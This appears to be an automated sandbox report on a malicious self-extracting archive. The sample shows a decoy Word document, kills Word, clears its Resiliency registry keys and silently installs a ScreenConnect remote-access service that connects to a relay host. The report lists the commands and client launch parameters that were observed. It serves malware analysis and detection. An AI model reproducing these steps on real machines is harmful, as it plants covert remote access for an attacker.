Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Classes\sc-84a526328958ee03\shell\open\command] '' = '"%ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.WindowsClient.exe" "%1"'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\ScreenConnect Client (84a526328958ee03)] 'ImagePath' = '"%ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.ClientService.exe" "?e=Access...
- [<HKLM>\SYSTEM\ControlSet001\Services\ScreenConnect Client (84a526328958ee03)] 'Start' = '00000002'
Malicious functions:
Executes the following:
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
Modifies file system:
Creates the following files:
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.ClientService.dll
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.Client.dll
- C:\Config.Msi\2190e.rbs
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.Core.dll
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.WindowsClient.exe.config
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.WindowsClient.exe
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.Windows.dll
- %WINDIR%\Installer\MSI5.tmp
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\OBJECTS.DATA
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\MAPPING2.MAP
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\MAPPING1.MAP
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\MSI4.tmp
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\OBJECTS.MAP
- %WINDIR%\Installer\MSI3.tmp
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.ClientService.exe
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\5hebcovx.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\lgrqqj5m.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\ni33jrin.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\fse3udan.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\jwc45pch.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\40oap51s.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\pyywt22d.newcfg
- %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\1ztlzthj.newcfg
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\Client.resources
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\Client.en-US.resources
- %ProgramFiles%\ScreenConnect Client (84a526328958ee03)\app.config
- %WINDIR%\Installer\MSI7.tmp
- %WINDIR%\Installer\{97DE578A-8787-44F5-8A74-E5063E821812}\DefaultIcon
- %WINDIR%\Installer\2190f.msi
- %WINDIR%\Installer\MSI8.tmp
- %TEMP%\MSI1.tmp-\CustomAction.config
- %TEMP%\MSI1.tmp-\ScreenConnect.Core.dll
- %TEMP%\MSI1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- %WINDIR%\Installer\2190c.msi
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_USRCLASS_S-1-5-19
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-19
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-18
- %TEMP%\MSI1.tmp-\ScreenConnect.InstallerActions.dll
- %TEMP%\RarSFX0\task.bat
- %TEMP%\RarSFX0\decoy.doc
- %TEMP%\RarSFX0\exe.exe
- %TEMP%\RarSFX0\task.vbs
- %TEMP%\MSI1.tmp
- %TEMP%\20390.msi
- %TEMP%\setup.msi
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-20
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\$WinMgmt.CFG
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\domain.txt
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\ComDb.Dat
- %WINDIR%\Installer\2190d.ipi
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\MAPPING.VER
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\INDEX.MAP
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\Repository\FS\INDEX.BTR
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SAM
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_USRCLASS_S-1-5-21-2052111302-484763869-725345543-1003
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_NTUSER_S-1-5-21-2052111302-484763869-725345543-1003
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_USRCLASS_S-1-5-20
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_USER_.DEFAULT
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SYSTEM
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SOFTWARE
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP16\snapshot\_REGISTRY_MACHINE_SECURITY
Deletes the following files:
- %WINDIR%\Installer\MSI2.tmp
- %WINDIR%\Installer\MSI8.tmp
- %WINDIR%\Installer\MSI7.tmp
- C:\Config.Msi\2190e.rbs
- %TEMP%\20390.msi
- %WINDIR%\Installer\2190d.ipi
- %WINDIR%\Installer\2190c.msi
- %WINDIR%\Installer\MSI5.tmp
- %TEMP%\MSI1.tmp-\ScreenConnect.Core.dll
- %TEMP%\MSI1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- %TEMP%\MSI1.tmp-\CustomAction.config
- %TEMP%\MSI1.tmp-\ScreenConnect.InstallerActions.dll
- %WINDIR%\Installer\MSI4.tmp
- %WINDIR%\Installer\MSI3.tmp
- %TEMP%\MSI1.tmp
Moves the following files:
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\pyywt22d.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\fse3udan.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\jwc45pch.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\40oap51s.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\ni33jrin.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\1ztlzthj.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\5hebcovx.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
- from %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\lgrqqj5m.newcfg to %ALLUSERSPROFILE%\Application Data\ScreenConnect Client (84a526328958ee03)\user.config
Network activity:
Connects to:
- 'wp#d':80
- 'in#########vqwz-relay.screenconnect.com':443
TCP:
HTTP GET requests:
- http://11#.#11.111.2/wpad.dat via wp#d
UDP:
- DNS ASK wp#d
- DNS ASK in#########vqwz-relay.screenconnect.com
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following:
- '%ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.ClientService.exe' "?e=Access&y=Guest&h=instance-tlvqwz-relay.screenconnect.com&p=443&s=3144552a-14b6-4c2c-bcd1-d6d5ee2d5086&k=BgIAAACkAABSU0ExAAgAAAEAAQBPZ%2bOMthEG5dQFHTQpk%2fSdJQjvbzfLA0kpdmSza%2btTTfsNmcPsb4p...
- '%ProgramFiles%\ScreenConnect Client (84a526328958ee03)\ScreenConnect.WindowsClient.exe' "RunRole" "d4265642-62ff-4246-a4b5-f9f43f19e116" "User"
- '<SYSTEM32>\wscript.exe' "%TEMP%\RarSFX0\task.vbs"
- '%TEMP%\RarSFX0\exe.exe'
Executes the following:
- '<SYSTEM32>\msiexec.exe' -Embedding BEAA7D59C42163AD4003E1CF9F173C18 M Global\MSI0000
- '<SYSTEM32>\msiexec.exe' -Embedding E9F8C242FC15D6242E89276B32BD866E
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Resiliency /f
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Resiliency /f
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Resiliency /f
- '<SYSTEM32>\msiexec.exe' /i "%TEMP%\setup.msi"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\RarSFX0\task.bat" "
- '<SYSTEM32>\msiexec.exe' /V
- '<SYSTEM32>\rundll32.exe' "%TEMP%\MSI1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_134921 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
- '<SYSTEM32>\msiexec.exe' -Embedding F1A8B45A3EDD51A7D0F5B2275EB199DE C
